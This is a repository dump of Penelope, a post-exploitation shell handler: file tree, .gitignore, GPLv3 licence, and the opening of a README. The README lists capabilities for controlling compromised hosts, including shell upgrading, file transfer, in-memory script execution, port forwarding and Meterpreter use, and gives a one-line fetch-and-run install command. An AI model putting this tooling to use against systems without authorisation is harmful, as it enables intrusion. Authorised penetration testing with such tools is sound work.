├── .gitignore
├── LICENSE
├── README.md
├── extras
├── exploit_bind.py
├── exploit_reverse.py
├── peneloperc
└── tty_upgrade.sh
├── penelope.py
└── pyproject.toml
/.gitignore:
--------------------------------------------------------------------------------
1 | DEV
2 |
3 | # Byte-compiled / optimized / DLL files
4 | __pycache__/
5 | *.py[cod]
6 | *$py.class
7 |
8 | # C extensions
9 | *.so
10 |
11 | # Distribution / packaging
12 | .Python
13 | build/
14 | develop-eggs/
15 | dist/
16 | downloads/
17 | eggs/
18 | .eggs/
19 | lib/
20 | lib64/
21 | parts/
22 | sdist/
23 | var/
24 | wheels/
25 | pip-wheel-metadata/
26 | share/python-wheels/
27 | *.egg-info/
28 | .installed.cfg
29 | *.egg
30 | MANIFEST
31 |
32 | # PyInstaller
33 | # Usually these files are written by a python script from a template
34 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
35 | *.manifest
36 | *.spec
37 |
38 | # Installer logs
39 | pip-log.txt
40 | pip-delete-this-directory.txt
41 |
42 | # Unit test / coverage reports
43 | htmlcov/
44 | .tox/
45 | .nox/
46 | .coverage
47 | .coverage.*
48 | .cache
49 | nosetests.xml
50 | coverage.xml
51 | *.cover
52 | *.py,cover
53 | .hypothesis/
54 | .pytest_cache/
55 |
56 | # Translations
57 | *.mo
58 | *.pot
59 |
60 | # Django stuff:
61 | *.log
62 | local_settings.py
63 | db.sqlite3
64 | db.sqlite3-journal
65 |
66 | # Flask stuff:
67 | instance/
68 | .webassets-cache
69 |
70 | # Scrapy stuff:
71 | .scrapy
72 |
73 | # Sphinx documentation
74 | docs/_build/
75 |
76 | # PyBuilder
77 | target/
78 |
79 | # Jupyter Notebook
80 | .ipynb_checkpoints
81 |
82 | # IPython
83 | profile_default/
84 | ipython_config.py
85 |
86 | # pyenv
87 | .python-version
88 |
89 | # pipenv
90 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
91 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
92 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
93 | # install all needed dependencies.
94 | #Pipfile.lock
95 |
96 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
97 | __pypackages__/
98 |
99 | # Celery stuff
100 | celerybeat-schedule
101 | celerybeat.pid
102 |
103 | # SageMath parsed files
104 | *.sage.py
105 |
106 | # Environments
107 | .env
108 | .venv
109 | env/
110 | venv/
111 | ENV/
112 | env.bak/
113 | venv.bak/
114 |
115 | # Spyder project settings
116 | .spyderproject
117 | .spyproject
118 |
119 | # Rope project settings
120 | .ropeproject
121 |
122 | # mkdocs documentation
123 | /site
124 |
125 | # mypy
126 | .mypy_cache/
127 | .dmypy.json
128 | dmypy.json
129 |
130 | # Pyre type checker
131 | .pyre/
132 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |

3 |
4 |
5 |

6 |
7 | Penelope is a powerful shell handler built to simplify, accelerate, and optimize post-exploitation workflows.
8 |
9 | - It runs on all Unix-based systems (Linux, macOS, FreeBSD etc)
10 | - Requires **Python 3.6+**
11 | - It is **standalone** as it uses only Python’s standard library.
12 |
13 | 
14 |
15 | ## Install
16 |
17 | Penelope requires no installation - just download and execute the script:
18 | ```bash
19 | wget https://raw.githubusercontent.com/brightio/penelope/refs/heads/main/penelope.py && python3 penelope.py
20 | ```
21 | For a more streamlined setup, it can be installed using:
22 | ```bash
23 | pipx install git+https://github.com/brightio/penelope
24 | ```
25 | ## Features
26 | ### Session Features
27 | |Description|Unix with Python>=2.3| Unix without Python>=2.3|Windows|
28 | |-----------|:-------------------:|:-----------------------:|:-----:|
29 | |Auto-upgrade shell|PTY|PTY(*)|readline|
30 | |Real-time terminal resize|✅|✅|❌|
31 | |Logging shell activity|✅|✅|✅|
32 | |Download remote files/folders|✅|✅|✅|
33 | |Upload local/HTTP files/folders|✅|✅|✅|
34 | |In-memory local/HTTP script execution with real-time output downloading|✅|❌|❌|
35 | |Local port forwarding|✅|❌|❌|
36 | |Spawn shells on multiple tabs and/or hosts|✅|✅|❌|
37 | |Maintain X amount of active shells per host no matter what|✅|✅|❌|
38 |
39 | (*) opens a second TCP connection
40 |
41 | ### Global Features
42 | - Streamline interaction with the targets via modules
43 | - Multiple sessions
44 | - Multiple listeners
45 | - Serve files/folders via HTTP (-s switch)
46 | - Can be imported by python3 exploits and get shell on the same terminal (see [Extras](#Extras))
47 |
48 | ### Modules
49 | 
50 |
51 | #### Meterpreter module demonstration
52 |
53 | 
54 |
55 | Penelope can work in conjunction with metasploit exploits by disabling the default handler with `set DisablePayloadHandler True`
